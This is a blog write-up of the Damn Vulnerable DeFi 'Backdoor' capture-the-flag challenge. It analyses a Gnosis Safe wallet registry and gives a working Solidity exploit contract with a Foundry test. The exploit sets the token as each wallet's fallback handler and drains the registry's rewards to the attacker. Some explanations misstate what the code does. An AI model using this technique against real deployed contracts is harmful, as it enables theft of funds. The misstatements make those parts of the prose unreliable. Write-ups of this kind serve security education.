Damn Vulnerable DeFi Wargame Challenge — Backdoor Contract Analysis 🧤

Challenge #11 - Backdoor

To incentivize the creation of more secure wallets in their team, someone has deployed a registry of Gnosis Safe wallets. When someone in the team deploys and registers a wallet, they will earn 10 DVT tokens.

To make sure everything is safe and sound, the registry tightly integrates with the legitimate Gnosis Safe Proxy Factory, and has some additional safety checks.

Currently there are four people registered as beneficiaries:
Alice, Bob, Charlie and David. The registry has 40 DVT tokens in balance
to be distributed among them.

Your goal is to take all funds from the registry. In a single transaction.

Contract Audit

WalletRegistry.sol

// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

import {Ownable} from "openzeppelin-contracts/access/Ownable.sol";
import {IERC20} from "openzeppelin-contracts/token/ERC20/IERC20.sol";
import {GnosisSafe} from "gnosis/GnosisSafe.sol";
import {IProxyCreationCallback} from "gnosis/proxies/IProxyCreationCallback.sol";
import {GnosisSafeProxy} from "gnosis/proxies/GnosisSafeProxy.sol";

/**
 * @title WalletRegistry
 * @notice A registry for Gnosis Safe wallets.
 *            When known beneficiaries deploy and register their wallets, the registry sends some Damn Valuable Tokens to the wallet.
 * @dev The registry has embedded verifications to ensure only legitimate Gnosis Safe wallets are stored.
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract WalletRegistry is IProxyCreationCallback, Ownable {
    uint256 private constant MAX_OWNERS = 1;
    uint256 private constant MAX_THRESHOLD = 1;
    uint256 private constant TOKEN_PAYMENT = 10 ether; // 10 * 10 ** 18

    address public immutable masterCopy;
    address public immutable walletFactory;
    IERC20 public immutable token;

    mapping(address => bool) public beneficiaries;

    // owner => wallet
    mapping(address => address) public wallets;

    error AddressZeroIsNotAllowed();
    error NotEnoughFundsToPay();
    error CallerMustBeFactory();
    error FakeMasterCopyUsed();
    error WrongInitialization();
    error InvalidThreshold();
    error InvalidNumberOfOwners();
    error OwnerIsNotRegisteredAsBeneficiary();

    constructor(
        address masterCopyAddress,
        address walletFactoryAddress,
        address tokenAddress,
        address[] memory initialBeneficiaries
    ) {
        if (masterCopyAddress == address(0)) revert AddressZeroIsNotAllowed();
        if (walletFactoryAddress == address(0)) {
            revert AddressZeroIsNotAllowed();
        }

        masterCopy = masterCopyAddress;
        walletFactory = walletFactoryAddress;
        token = IERC20(tokenAddress);

        for (uint256 i = 0; i < initialBeneficiaries.length; i++) {
            addBeneficiary(initialBeneficiaries[i]);
        }
    }

    function addBeneficiary(address beneficiary) public onlyOwner {
        beneficiaries[beneficiary] = true;
    }

    function _removeBeneficiary(address beneficiary) private {
        beneficiaries[beneficiary] = false;
    }

    /**
     * @notice Function executed when user creates a Gnosis Safe wallet via GnosisSafeProxyFactory::createProxyWithCallback
     *          setting the registry's address as the callback.
     */
    function proxyCreated(
        GnosisSafeProxy proxy,
        address singleton,
        bytes calldata initializer,
        uint256
    ) external override {
        // Make sure we have enough DVT to pay
        if (token.balanceOf(address(this)) < TOKEN_PAYMENT) {
            revert NotEnoughFundsToPay();
        }

        address payable walletAddress = payable(proxy);

        // Ensure correct factory and master copy
        if (msg.sender != walletFactory) revert CallerMustBeFactory();
        if (singleton != masterCopy) revert FakeMasterCopyUsed();

        // Ensure initial calldata was a call to `GnosisSafe::setup`
        if (bytes4(initializer[:4]) != GnosisSafe.setup.selector) {
            revert WrongInitialization();
        }

        // Ensure wallet initialization is the expected
        if (GnosisSafe(walletAddress).getThreshold() != MAX_THRESHOLD) {
            revert InvalidThreshold();
        }

        if (GnosisSafe(walletAddress).getOwners().length != MAX_OWNERS) {
            revert InvalidNumberOfOwners();
        }

        // Ensure the owner is a registered beneficiary
        address walletOwner = GnosisSafe(walletAddress).getOwners()[0];

        if (!beneficiaries[walletOwner]) {
            revert OwnerIsNotRegisteredAsBeneficiary();
        }

        // Remove owner as beneficiary
        _removeBeneficiary(walletOwner);

        // Register the wallet under the owner's address
        wallets[walletOwner] = walletAddress;

        // Pay tokens to the newly created wallet
        token.transfer(walletAddress, TOKEN_PAYMENT);
    }
}

Summary

This contract is used for registering Gnosis Safe Wallet, and if known beneficiaries deploy and register it, this contract will send DVT ERC20 tokens to the wallet. This contract includes verification logic to ensure that only legally registered Gnosis Safe Wallets are stored.

State Variables

This contract manages user data based on the beneficiaries mapping structure for Gnosis Safe Wallet registration. The wallets mapping structure manages wallet data for users with owner permissions.

Functions

constructor

This contract's constructor performs the following tasks based on the deployed addresses of GnosisSafe, GnosisSafeProxyFactory, and ERC20:DVT Contract:

✅ The masterCopyAddress (GnosisSafe) state variable must not be address(0).

✅ The walletFactoryAddress (GnosisSafeProxyFactory) state variable must not be address(0).

The initialBeneficiaries array is used as a local variable in this constructor and the addBeneficiary function is called to register users who are eligible for registration in the Beneficiary state variable and perform the initial setup of the registration process.

function addBeneficiary(address beneficiary) public onlyOwner

  • The onlyOwner modifier performs verification logic (@Openzeppelin) and is publicly accessible through the external call directive.

  • The beneficiaries mapping structure assigns a value of true based on the beneficiary index.

function _removeBeneficiary(address beneficiary) private

  • The private access directive allows only internal contract calls.

  • The beneficiaries mapping structure assigns a value of false based on the beneficiary index.

function proxyCreated(GnosisSafeProxy proxy, address singleton, byte calldata initializer, uint256) external override

function proxyCreated(
    GnosisSafeProxy proxy,
    address singleton,
    bytes calldata initializer,
    uint256
) external override {
    require(token.balanceOf(address(this)) >= TOKEN_PAYMENT, "Not enough funds to pay");
    address payable walletAddress = payable(proxy);

    require(msg.sender == walletFactory, "Caller must be factory");
    require(singleton == masterCopy, "Fake mastercopy used");
    
    require(bytes4(initializer[:4]) == GnosisSafe.setup.selector, "Wrong initialization");

    require(GnosisSafe(walletAddress).getThreshold() == MAX_THRESHOLD, "Invalid threshold");
    require(GnosisSafe(walletAddress).getOwners().length == MAX_OWNERS, "Invalid number of owners");       

    address walletOwner = GnosisSafe(walletAddress).getOwners()[0];

    require(beneficiaries[walletOwner], "Owner is not registered as beneficiary");

    _removeBeneficiary(walletOwner);
    wallets[walletOwner] = walletAddress;
    token.transfer(walletAddress, TOKEN_PAYMENT);        
}
  • This function is executed when a user creates a Gnosis Safe Wallet using GnosisSafeProxyFactory::createProxyWithCallback. It sets the Register address as a callback.

✅ The value held by address(this) based on the ERC20 DVT token's balanceOf function must be greater than or equal to TOKEN_PAYMENT, and it verifies that there is enough DVT to pay.

  • The address of the GnosisSafeProxy contract is assigned to the walletAddress payable local variable with the payable applied.

✅ The value of msg.sender must be the same address as walletFactoryAddress (GnosisSafeProxyFactory), meaning that the caller must be GnosisSafeProxyFactory.

✅ The address of singleton must be the same address as masterCopyAddress (GnosisSafe), and this checks whether it is the correct factory and masterCopy contract.

✅ Based on the verification of bytes4(initializer[:4]) == GnosisSafe.setup.selector, it checks whether the initial call data is a call to the GnosisSafe::setup function selector.

✅ Based on the verification of GnosisSafe(walletAddress).getThreshold() == MAX_THRESHOLD, it checks whether the threshold value is 1.

✅ Based on the verification of GnosisSafe(walletAddress).getOwners().length == MAX_OWNERS, it checks whether the number of Owners is 1 and performs exception handling for wallet initialization.

  • It calls the GnosisSafe Contract wrapper and extracts the wallet owner by calling the getOwners() function based on the walletAddress, and checks whether the owner is registered as a beneficiary.

✅ The beneficiaries mapping structure assigns a value of true to the walletOwner index based on the verification of beneficiary registration.

✅ The wallets mapping structure assigns the walletAddress to the walletOwner index based on the verification of walletOwner registration.

  • It sends a DVT token to the walletAddress based on the TOKEN_PAYMENT value.

  • It checks whether the walletAddress is the same as the msg.sender value and returns the result.

✅ Based on the verification of beneficiary registration, it returns the walletAddress as a successful result.

✅ Based on the verification of walletOwner registration, it returns the walletAddress as a successful result.

Gnosis-Safe Contract flow

GnosisSafeProxy.sol , IProxyCreationCallback.sol

IProxyCreationCallback.sol

// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
import "./GnosisSafeProxy.sol";

interface IProxyCreationCallback {
    function proxyCreated(
        GnosisSafeProxy proxy,
        address _singleton,
        bytes calldata initializer,
        uint256 saltNonce
    ) external;
}

GnosisSafeProxy.sol

Using a GnosisSafeProxy general proxy contract allows you to execute all transactions that apply the masterCopy contract code.

Interface

interface IProxy {
  function masterCopy() external view returns (address);
}

This is a helper interface for accessing the masterCopy of an on-chain proxy.

Functions

constructor

constructor(address _singleton) {
    require(_singleton != address(0), "Invalid singleton address provided");
    singleton = _singleton;
}
  • The singleton variable must always be declared first, so the call must be in the same location as the delegated contract.

  • In order to reduce deployment costs, this singleton variable is internal and must be searched through getStorageAt.

✅ The address value of _singleton must not be address(0).

fallback

fallback() external payable {
    // solhint-disable-next-line no-inline-assembly
    assembly {
        let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
        // 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
        if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
            mstore(0, _singleton)
            return(0, 0x20)
        }
        calldatacopy(0, 0, calldatasize())
        let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
        returndatacopy(0, 0, returndatasize())
        if eq(success, 0) {
            revert(0, returndatasize())
        }
        return(0, returndatasize())
    }
}

The fallback function passes on all transactions and returns all received return data.

let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
  • The storage load pushes the next stack with the loaded index from storage, and in this case we can see that 0 argument is passed, so it is storage[0].

  • At the contract code level, address owner means the address of the owner, and this logic assigns the actual address value to the _singleton stack by performing an and operation on the owner's address value.

if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
    mstore(0, _singleton)
    return(0, 0x20)
}

The value of 0xa619486e == keccak("masterCopy()") is padded with 0s on the right to 32 bytes, and as we can see, it must be the address of the masterCopy contract, and then the address of the owner is assigned to the first address in memory and the call is completed.

calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
    revert(0, returndatasize())
}
return(0, returndatasize())
  • If the above conditions are not met, then the contract copies the call data from position 0 to position 0, with a size of calldatasize, using the calldatacopy function.

  • We will now look at the next line in the assembly block using the delegatecall opcode.

let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
  • gas : The gas needed to execute the function.

  • _singleton : The address of the contract we are calling.

  • 0 : The memory pointer where the data starts.

  • calldatasize : The size of the data we are passing.

  • 0 : The output data where the return value of the contract call will be stored. Since we don't know the size of the output data yet, it cannot be stored in a variable and is not used. Later, we can access this information using the returndata opcode.

  • 0 : The size out. This is 0 because we did not have an opportunity to create a temporary variable to store the data before calling another contract. Later, we can get this value using the returndatasize opcode.

returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
    revert(0, returndatasize())
}
return(0, returndatasize())

If the size of the returned data is used to copy the contents of the returned data to the first address using the helper opcode function returndatacopy. If a problem occurs based on the final branch, an exception is raised.

GnosisSafeProxyFactory.sol

  • Proxy Factory - allows you to create new proxy relationships and execute message calls to new proxies within one transaction.

Functions

function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy)

function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
    proxy = new GnosisSafeProxy(singleton);
    if (data.length > 0)
        // solhint-disable-next-line no-inline-assembly
        assembly {
            if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
                revert(0, 0)
            }
        }
    emit ProxyCreation(proxy, singleton);
}
  • You can create a new proxy contract within single transaction and execute a message call for the new proxy.

  • The address of singleton single tone contract. memory data is payload data for 'message call' sent to the new proxy contract.

call Stack input

  1. gas: amount of gas to send to the sub context to execute. The gas that is not used by the sub context is returned to this one.

  2. address: the account which context to execute.

  3. value: value in wei to send to the account.

  4. argsOffset: byte offset in the memory in bytes, the calldata of the sub context.

  5. argsSize: byte size to copy (size of the calldata).

  6. retOffset: byte offset in the memory in bytes, where to store the return data of the sub context.

  7. retSize: byte size to copy (size of the return data).

We can see that the call command is being executed, and based on the above arguments, we can see that the payload data for the new Proxy message call is located at memory address argsOffset + 0x20.

function proxyRuntimeCode() public pure returns (bytes memory)

function proxyRuntimeCode() public pure returns (bytes memory) {
    return type(GnosisSafeProxy).runtimeCode;
}
  • The runtime code of a deployed proxy can be searched.

  • This can be used to verify that the expected proxy has been deployed.

type(X).runtimeCode

A memory byte array containing the runtime byte code. This is typically the code that is deployed by the constructor of X. If the constructor of X uses inline assembly, the actual deployed byte code may differ from this. Also, libraries may modify the runtime bytecode at deployment to prevent general calls. The same limitations as .creationCode apply to this attribute as well.

proxyCreationCode() public pure returns (bytes memory)

function proxyCreationCode() public pure returns (bytes memory) {
    return type(GnosisSafeProxy).creationCode;
}
  • You can search for the creationcode used to deploy a proxy. This allows you to easily calculate the expected address.

type(X).creationCode

A memory byte array containing the contract's creation bytecode. This can be used to build a custom creation routine using the create2 opcode, particularly in inline assembly. This property cannot be accessed from within the contract itself or derived contracts. Recursive references such as this are not possible due to the bytecode being included in the calling site's bytecode.

function deployProxyWithNonce(address _singleton, bytes memory initializer, uint256 saltNonce) internal returns (GnosisSafeProxy proxy)

function deployProxyWithNonce(
    address _singleton,
    bytes memory initializer,
    uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
    bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
    bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
    // solhint-disable-next-line no-inline-assembly
    assembly {
        proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
    }
    require(address(proxy) != address(0), "Create2 call failed");
}
  • The CREATE2 opcode can be used to create a new proxy contract, but it does not perform the initializer function.

  • This method is only used as a utility called from other methods.

  • saltNonce is the Nonce used to generate the salt for calculating the address of the new proxy contract.

  • If the initialization program changes, the proxy address must also change.

  • Hashing the initializer data is more gas-efficient than simply concatenating it.

create2 stack Input

  1. value: value in wei to send to the new account.

  2. offset: byte offset in the memory in bytes, the initialisation code of the new account.

  3. size: byte size to copy (size of the initialisation code).

  4. salt: 32-byte value used to create the new account at a deterministic address.

Vulnerability

The contract configuration is set up using the proxy pattern with the Gnosis lib contract. GnosisSafe is the contract that includes the actual business logic of the Gnosis Wallet. The GnosisSafeProxyFactory has made it possible to replicate GnosisSafe's gas fees properly, because there is no need to deploy the overall business logic again.

this.walletRegistry = await (await ethers.getContractFactory('WalletRegistry', deployer)).deploy(
    this.masterCopy.address,
    this.walletFactory.address,
    this.token.address,
    users
);

The contract configuration is made up of a proxy pattern using the Gnosis lib contract, with the walletRegistry contract deployed and the addresses of previously deployed contracts and the mentioned four beneficiaries being passed. It can be seen that after these users are registered with the contract, they are provided with a reward of 40DVT each, belonging to them. It is important to note that while the attacker must successfully move all 40 DVT to the attacker's wallet, the wallets of the four users must also be registered as beneficiaries and not registered as beneficiaries anymore. However, during the setup of the contract, the wallets for each user who can claim this reward were not created, allowing the attacker to claim the reward in their own wallet even though they are not the intended beneficiary.

walletRegistry.sol::proxyCreated

/**
 @notice Function executed when user creates a Gnosis Safe wallet via GnosisSafeProxyFactory::createProxyWithCallback
         setting the registry's address as the callback.
 */
function proxyCreated(
    GnosisSafeProxy proxy,
    address singleton,
    bytes calldata initializer,
    uint256
) external override {

We are checking if the vulnerability in the callback function can only be called by the GnosisSafeProxyFactory contract, the caller.

// Ensure correct factory and master copy
require(msg.sender == walletFactory, "Caller must be factory");
require(singleton == masterCopy, "Fake mastercopy used");
  • However, checking if the masterCopy (singleton) is a GnosisSafe logic contract ensures that a manipulated wallet cannot trigger the desired trigger.
require(bytes4(initializer[:4]) == GnosisSafe.setup.selector,"Wrong initialization");
  • It is assumed that after the proxy is deployed, the wallet setup function is used to initialize it and that no other functions are used to prevent any further manipulation.
require(GnosisSafe(walletAddress).getThreshold() == MAX_THRESHOLD, "Invalid threshold");
require(GnosisSafe(walletAddress).getOwners().length == MAX_OWNERS, "Invalid number of owners");       

// Ensure the owner is a registered beneficiary
address walletOwner = GnosisSafe(walletAddress).getOwners()[0];

require(beneficiaries[walletOwner], "Owner is not registered as beneficiary");
  • The wallet Creator, who initially triggered the callback, can check whether they are actually the beneficiaries, and checks whether the first owner of the wallet is registered as the beneficiaries. MAX_THRESHOLD and MAX_OWNERS are both 1, so even if they become a subOwner, they cannot be ignored.
// Remove owner as beneficiary
_removeBeneficiary(walletOwner);

// Register the wallet under the owner's address
wallets[walletOwner] = walletAddress;

// Pay tokens to the newly created wallet
token.transfer(walletAddress, TOKEN_PAYMENT);
  • The process is completed by removing beneficiaries and registering the wallet address and sending tokens.

  • As we saw in the previous access vector, walletRegistry.sol is the only contract that can call the callback, so we will analyze it.

function createProxyWithNonce(
    address _singleton,
    bytes memory initializer,
    uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
    proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
    if (initializer.length > 0)
        // solhint-disable-next-line no-inline-assembly
        assembly {
            if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
                revert(0, 0)
            }
        }
    emit ProxyCreation(proxy, _singleton);
}
  • In this function, you can see that it performs the call instruction. It calls the newly created proxy contract with the calldata passed to the initializer variable.

  • initializer is a bytes array stored in memory, so when accessing the value in the assembly, the actual value can be a number, memory pointer, or bytes array.

  • In Solidity, the first 32 bytes (hex 0x20) of a bytes array is not the actual value passed to initializer, but is the unsigned value of initializer by default.

  • Therefore, mload(initializer) loads the length from memory and add(initializer, 0x20) calculates the address in memory where the actual initializer value starts.

  • This means that call() passes all available gas() to the proxy and specifies the entire initializer variable as calldata, ignoring returndata.

  • Finally, eq(call) reverts if the call fails.

  • From analyzing the previous code, we can see that there is a specific signal in GnosisSafe::setup() through initializer.

GnosisSafe.sol

/// @dev Setup function sets initial storage of contract.
/// @param _owners List of Safe owners.
/// @param _threshold Number of required confirmations for a Safe transaction.
/// @param to Contract address for optional delegate call.
/// @param data Data payload for optional delegate call.
/// @param fallbackHandler Handler for fallback calls to this contract
/// @param paymentToken Token that should be used for the payment (0 is ETH)
/// @param payment Value that should be paid
/// @param paymentReceiver Adddress that should receive the payment (or 0 if tx.origin)
function setup(
    address[] calldata _owners,
    uint256 _threshold,
    address to,
    bytes calldata data,
    address fallbackHandler,
    address paymentToken,
    uint256 payment,
    address payable paymentReceiver
) external {
    // setupOwners checks if the Threshold is already set, therefore preventing that this method is called twice
    setupOwners(_owners, _threshold);
    if (fallbackHandler != address(0)) internalSetFallbackHandler(fallbackHandler);
    // As setupOwners can only be called if the contract has not been initialized we don't need a check for setupModules
    setupModules(to, data);

    if (payment > 0) {
        // To avoid running into issues with EIP-170 we reuse the handlePayment function (to avoid adjusting code of that has been verified we do not adjust the method itself)
        // baseGas = 0, gasPrice = 1 and gas = payment => amount = (payment + 0) * 1 = payment
        handlePayment(payment, 0, 1, paymentToken, paymentReceiver);
    }
    emit SafeSetup(msg.sender, _owners, _threshold, to, fallbackHandler);
}
  • To analyze the code GnosisSafe::setup(), we will analyze the following GnosisSafe contract.
  • If you check the annotation description within the code, you can see that optional delegate call' is possible.
if (fallbackHandler != address(0)) internalSetFallbackHandler(fallbackHandler);
// As setupOwners can only be called if the contract has not been initialized we don't need a check for setupModules
setupModules(to, data);
  • It seems that optional delegatecall using 'to' and 'data' parameters is performed immediately.

  • Registry callback is called after setup is completed. If you haven't received the DVT token yet at this point, it's impossible to add an owner because the callback check will fail.

  • If fallbackHandlercan also be deleted, in this case, fallbackHandler can be triggered during the Exploit process. If callback sends a DVT token to the wallet, it can execute arbitrary code within the Wallet Context, such as triggering a fallback and moving all tokens to the attacker's EOA.

FallbackManager.sol::fallback

// solhint-disable-next-line payable-fallback,no-complex-fallback
fallback() external {
    bytes32 slot = FALLBACK_HANDLER_STORAGE_SLOT;
    // solhint-disable-next-line no-inline-assembly
    assembly {
        let handler := sload(slot)
        if iszero(handler) {
            return(0, 0)
        }
        calldatacopy(0, 0, calldatasize())
        // The msg.sender address is shifted to the left by 12 bytes to remove the padding
        // Then the address without padding is stored right after the calldata
        mstore(calldatasize(), shl(96, caller()))
        // Add 20 bytes for the address appended add the end
        let success := call(gas(), handler, 0, 0, add(calldatasize(), 20), 0, 0)
        returndatacopy(0, 0, returndatasize())
        if iszero(success) {
            revert(0, returndatasize())
        }
        return(0, returndatasize())
    }
}
  • Allows you to call a single address. Since there is no transfer function in GnosisSafe Contract, the token address should be set to fallbackHandler and transfer() call from the wallet.

  • Token contract can be called from the wallet.

solve

contract BackdoorExploit {
    constructor(
        address masterCopyAddress,
        IProxyCreationCallback registryAddress,
        GnosisSafeProxyFactory walletFactory,
        address[] memory targetBeneficiary,
        IERC20 token
    ) {
        // Create a wallet for each beneficiary.
        for (uint256 i = 0; i < targetBeneficiary.length; i++) {
            address beneficiary = targetBeneficiary[i];
            address[] memory owners = new address[](1);
            owners[0] = beneficiary;

            address wallet = address(
                walletFactory.createProxyWithCallback(
                    masterCopyAddress,              // Gnosis master copy (Singleton)
                    abi.encodeWithSelector(          // <-- initializer bytes array
                        GnosisSafe.setup.selector,   // 1. GnosisSafe Setup Function Selector
                        owners,                      // 2. registered beneficiary user
                        1,                           // 3. Threshold == 1
                        address(0x0),                // 4. Optional DelegateCall
                        0x0,                         // 5. Optional DelegateCall
                        address(token),             // 6. fallbackHandler token
                        address(0x0),                // 7. payment token
                        0,                           // 8. Payment
                        address(0x0)                 // 9. Payment receiver
                    ),
                    0,                               // salt == 0
                    registryAddress                 // Registry callback <- Exploit
                )
            );
            IERC20(wallet).transfer(msg.sender, 10 ether);
        }
    }
}

contract Backdoor is DSTest {
    Vm internal immutable vm = Vm(HEVM_ADDRESS);
    uint256 internal constant AMOUNT_TOKENS_DISTRIBUTED = 40e18;
    uint256 internal constant NUM_USERS = 4;

    Utilities internal utils;
    DamnValuableToken internal dvt;
    GnosisSafe internal masterCopy;
    GnosisSafeProxyFactory internal walletFactory;
    WalletRegistry internal walletRegistry;
    address[] internal users;
    address payable internal attacker;
    address internal alice;
    address internal bob;
    address internal charlie;
    address internal david;

    function setUp() public {
        utils = new Utilities();
        users = utils.createUsers(NUM_USERS);

        alice = users[0];
        bob = users[1];
        charlie = users[2];
        david = users[3];

        vm.label(alice, "Alice");
        vm.label(bob, "Bob");
        vm.label(charlie, "Charlie");
        vm.label(david, "David");

        attacker = payable(
            address(uint160(uint256(keccak256(abi.encodePacked("attacker")))))
        );
        vm.label(attacker, "Attacker");

        // Deploy Gnosis Safe master copy and factory contracts
        masterCopy = new GnosisSafe();
        vm.label(address(masterCopy), "Gnosis Safe");

        walletFactory = new GnosisSafeProxyFactory();
        vm.label(address(walletFactory), "Wallet Factory");

        dvt = new DamnValuableToken();
        vm.label(address(dvt), "DVT");

        // Deploy the registry
        walletRegistry = new WalletRegistry(
            address(masterCopy),
            address(walletFactory),
            address(dvt),
            users
        );

        // Users are registered as beneficiaries
        for (uint256 i = 0; i < NUM_USERS; i++) {
            assertTrue(walletRegistry.beneficiaries(users[i]));
        }

        // Transfer tokens to be distributed to the registry
        dvt.transfer(address(walletRegistry), AMOUNT_TOKENS_DISTRIBUTED);
    }

    function testExploit() public {
        vm.startPrank(attacker);
        new BackdoorExploit(
            address(masterCopy),
            IProxyCreationCallback(address(walletRegistry)),
            walletFactory,
            users,
            IERC20(address(dvt))
        );
        vm.stopPrank();
        validation();
    }

    function validation() internal {
        for (uint256 i = 0; i < NUM_USERS; i++) {
            address wallet = walletRegistry.wallets(users[i]);

            // User must have registered a wallet
            if (wallet == address(0)) {
                emit log("User did not register a wallet");
                fail();
            }

            // User is no longer registered as a beneficiary
            assertTrue(!walletRegistry.beneficiaries(users[i]));
        }

        // Attacker must have taken all tokens
        assertEq(dvt.balanceOf(attacker), AMOUNT_TOKENS_DISTRIBUTED);
    }
}

next time.. 🚀

Thank you for the @tinchoabbate that made a good wargame.

Subscribe to Zer0Luck
Receive the latest updates directly to your inbox.
Mint this entry as an NFT to add it to your collection.
Verification
This entry has been permanently stored onchain and signed by its creator.